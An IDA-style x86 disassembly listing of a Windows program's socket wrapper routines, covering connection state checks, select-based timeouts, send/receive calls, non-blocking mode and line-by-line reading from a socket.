		test	eax, eax
		jz	short loc_41A8A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A8B6
; ---------------------------------------------------------------------------


loc_41A8A4:				; CODE XREF: sub_41A7D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A8B6:				; CODE XREF: sub_41A7D0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A8D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A8D9:				; CODE XREF: sub_41A7D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_402108
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A960	proc near		; CODE XREF: sub_402108j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A990	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B4F
		retn	0Ch
sub_41A990	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A9C0	proc near		; CODE XREF: sub_401B4Fj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AB24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AB24
		mov	edi, dword_5118AC
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41AABC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41AABC
		call	sub_40196A
		test	al, al
		jz	loc_41AABC


loc_41AA1B:				; CODE XREF: sub_41A9C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AB24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41AAAF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AB24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41AABC


loc_41AAAF:				; CODE XREF: sub_41A9C0+BCj
		call	sub_40196A
		test	al, al
		jnz	loc_41AA1B


loc_41AABC:				; CODE XREF: sub_41A9C0+39j
					; sub_41A9C0+48j ...
		call	sub_40196A
		test	al, al
		jz	short loc_41AB24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AB615Ah
		nop
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41AAF1
		mov	[ecx], eax


loc_41AAF1:				; CODE XREF: sub_41A9C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AB09
		test	eax, eax
		jz	short loc_41AB09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41A9C0+134j
					; sub_41A9C0+138j
		nop
		call	near ptr 71AB94DCh
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AB24:				; CODE XREF: sub_41A9C0+13j
					; sub_41A9C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A9C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ABA0:				; CODE XREF: ___:00401622j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41ABF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41ABD2
		mov	[ecx], eax


loc_41ABD2:				; CODE XREF: ___:0041ABCEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABE0
		test	eax, eax
		jz	short loc_41ABE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABE0:				; CODE XREF: ___:0041ABD5j
					; ___:0041ABD9j
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41ABF1:				; CODE XREF: ___:0041ABA9j
					; ___:0041ABB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC20:				; CODE XREF: ___:004019BFj
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AC3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC3C:				; CODE XREF: ___:0041AC32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC52


loc_41AC48:				; CODE XREF: ___:0041AC8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC52:				; CODE XREF: ___:0041AC46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ACB6
		mov	edi, ebp


loc_41AC6B:				; CODE XREF: ___:0041ACB4j
		cmp	edi, ebx
		jz	short loc_41ACB6
		cmp	[esp+18h], bl
		jz	short loc_41ACB6
		call	sub_40196A
		test	al, al
		jz	short loc_41ACB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AC48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ACA1
		cmp	al, 0Dh
		jz	short loc_41ACA1
		cmp	al, bl
		jnz	short loc_41ACA9


loc_41ACA1:				; CODE XREF: ___:0041AC97j
					; ___:0041AC9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ACA9:				; CODE XREF: ___:0041AC9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC6B


loc_41ACB6:				; CODE XREF: ___:0041AC67j
					; ___:0041AC6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD00:				; CODE XREF: ___:004021A3j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40196A
		test	al, al
		jnz	short loc_41AD1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD1C:				; CODE XREF: ___:0041AD12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AD32


loc_41AD28:				; CODE XREF: ___:0041AD6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: ___:0041AD26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AD9D
		mov	edi, ebp


loc_41AD4B:				; CODE XREF: ___:0041AD9Bj
		cmp	edi, ebx
		jz	short loc_41AD9D
		cmp	[esp+18h], bl
		jz	short loc_41AD9D
		call	sub_40196A
		test	al, al
		jz	short loc_41AD9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_40196F
		test	al, al
		jz	short loc_41AD28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AD7D
		cmp	al, bl
		jnz	short loc_41AD90


loc_41AD7D:				; CODE XREF: ___:0041AD77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AD8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AD8C
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: ___:0041AD82j
		mov	[edi], bl


loc_41AD8C:				; CODE XREF: ___:0041AD88j
		mov	[esp+18h], bl


loc_41AD90:				; CODE XREF: ___:0041AD7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AD4B


loc_41AD9D:				; CODE XREF: ___:0041AD47j
					; ___:0041AD4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41ADF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ADF2:				; CODE XREF: ___:0041ADEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE03:				; CODE XREF: ___:0041ADFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB951Eh
		nop
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AE30	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	al, al
		jnz	short loc_41AE42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41AE30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AE53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AE53:				; CODE XREF: sub_41AE30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC0B50h
		pop	esi
		retn	8
sub_41AE30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE80:				; CODE XREF: ___:00401C53j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41AEBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AEB5
		cmp	[esi+80Bh], cl
		jz	short loc_41AEB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEB5:				; CODE XREF: ___:0041AE9Ej
					; ___:0041AEA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEBF:				; CODE XREF: ___:0041AE99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jnz	short loc_41AEF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEF5:				; CODE XREF: ___:0041AEE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: ___:004016EFj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AF6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AF6D:				; CODE XREF: ___:0041AF61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AFA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AFA9:				; CODE XREF: ___:0041AF9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: ___:00401744j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	near ptr 77C47A90h
		nop
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41B090
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41B090:				; CODE XREF: sub_41B060+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		call	near ptr 71AB4519h
		nop
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B0E0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C0
		mov	eax, esi
		pop	esi
		retn
sub_41B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B110	proc near		; CODE XREF: ___:00401924j sub_401E92j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40187A
		test	[esp+4+arg_0], 1
		jz	short loc_41B128
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B128:				; CODE XREF: sub_41B110+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B110	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B140	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43F0C0
		add	ecx, 4
		jmp	sub_401FE6
sub_41B140	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B160	proc near		; CODE XREF: sub_401640j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40196A
		test	al, al
		jnz	short loc_41B172
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B172:				; CODE XREF: sub_41B160+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B1C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B197
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B197:				; CODE XREF: sub_41B160+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B1AC


loc_41B1A1:				; CODE XREF: sub_41B160+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B1A1


loc_41B1AC:				; CODE XREF: sub_41B160+3Fj
		call	sub_401F0A
		dec	esi
		push	esi
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B1C5:				; CODE XREF: sub_41B160+20j
		pop	edi
		pop	esi
		retn	4
sub_41B160	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B1F0:				; CODE XREF: ___:004020B3j
		push	0FFFFFFFFh
		push	offset loc_43C007
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40196A
		test	al, al
		jnz	short loc_41B22F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401870
		jmp	loc_41B3DB
; ---------------------------------------------------------------------------


loc_41B22F:				; CODE XREF: ___:0041B218j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401870
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B26C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B26C:				; CODE XREF: ___:0041B256j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_448F30
		jnz	short loc_41B292
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401870
		mov	[esp+0Ch], edi
		jmp	loc_41B3CE
; ---------------------------------------------------------------------------


loc_41B292:				; CODE XREF: ___:0041B27Cj
		lea	ecx, [esp+18h]
		call	sub_401870
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017EE
		push	eax
		call	sub_4382C2
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B2D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+0Ch], edi
		jmp	loc_41B3C0
; ---------------------------------------------------------------------------


loc_41B2D6:				; CODE XREF: ___:0041B2BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_4447F8
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B2E4:				; CODE XREF: ___:0041B302j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B308
		cmp	cl, bl
		jz	short loc_41B304
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B308
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B2E4


loc_41B304:				; CODE XREF: ___:0041B2EEj
		xor	eax, eax
		jmp	short loc_41B30D
; ---------------------------------------------------------------------------


loc_41B308:				; CODE XREF: ___:0041B2EAj
					; ___:0041B2F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B30D:				; CODE XREF: ___:0041B306j
		cmp	eax, ebx
		jz	short loc_41B37B
		push	ebp


loc_41B312:				; CODE XREF: ___:0041B365j
					; ___:0041B369j
		nop
		call	near ptr 2800BE7h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B326
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B36B


loc_41B326:				; CODE XREF: ___:0041B31Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B332
		mov	edi, ebp


loc_41B332:				; CODE XREF: ___:0041B32Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_4447F8


loc_41B33A:				; CODE XREF: ___:0041B358j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B35E
		cmp	cl, bl
		jz	short loc_41B35A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B35E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B33A


loc_41B35A:				; CODE XREF: ___:0041B344j
		xor	eax, eax
		jmp	short loc_41B363
; ---------------------------------------------------------------------------


loc_41B35E:				; CODE XREF: ___:0041B340j
					; ___:0041B34Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B363:				; CODE XREF: ___:0041B35Cj
		cmp	eax, ebx
		jnz	short loc_41B312
		mov	edi, ebp
		jmp	short loc_41B312
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: ___:0041B324j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015E1
		pop	ebp
		jmp	short loc_41B388
; ---------------------------------------------------------------------------


loc_41B37B:				; CODE XREF: ___:0041B30Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015E1


loc_41B388:				; CODE XREF: ___:0041B379j
		push	offset byte_448F30
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B3A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015E1


loc_41B3A8:				; CODE XREF: ___:0041B398j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		mov	dword ptr [esp+0Ch], 1


loc_41B3C0:				; CODE XREF: ___:0041B2D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B3CE:				; CODE XREF: ___:0041B267j
					; ___:0041B28Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B3DB:				; CODE XREF: ___:0041B22Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B490:				; CODE XREF: ___:00402153j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	dword ptr [esi], offset	off_43F0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4D0	proc near		; CODE XREF: sub_401406j ___:00402036j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE0
		test	[esp+4+arg_0], 1
		jz	short loc_41B4E8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B4E8:				; CODE XREF: sub_41B4D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B4D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B500	proc near		; CODE XREF: sub_401BE0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B500	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B570:				; CODE XREF: ___:00401D52j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C49
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43F0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B5B0	proc near		; CODE XREF: sub_401686j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B6C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B6C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401492
		mov	ebp, dword_5118D8
		test	al, al
		jnz	short loc_41B613


loc_41B5E9:				; CODE XREF: sub_41B5B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF
		mov	al, byte_4E8E44
		test	al, al
		jz	short loc_41B613
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401492
		test	al, al
		jz	short loc_41B5E9


loc_41B613:				; CODE XREF: sub_41B5B0+37j
					; sub_41B5B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B6AF


loc_41B61E:				; CODE XREF: sub_41B5B0+F9j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41B6AF
		test	esi, esi
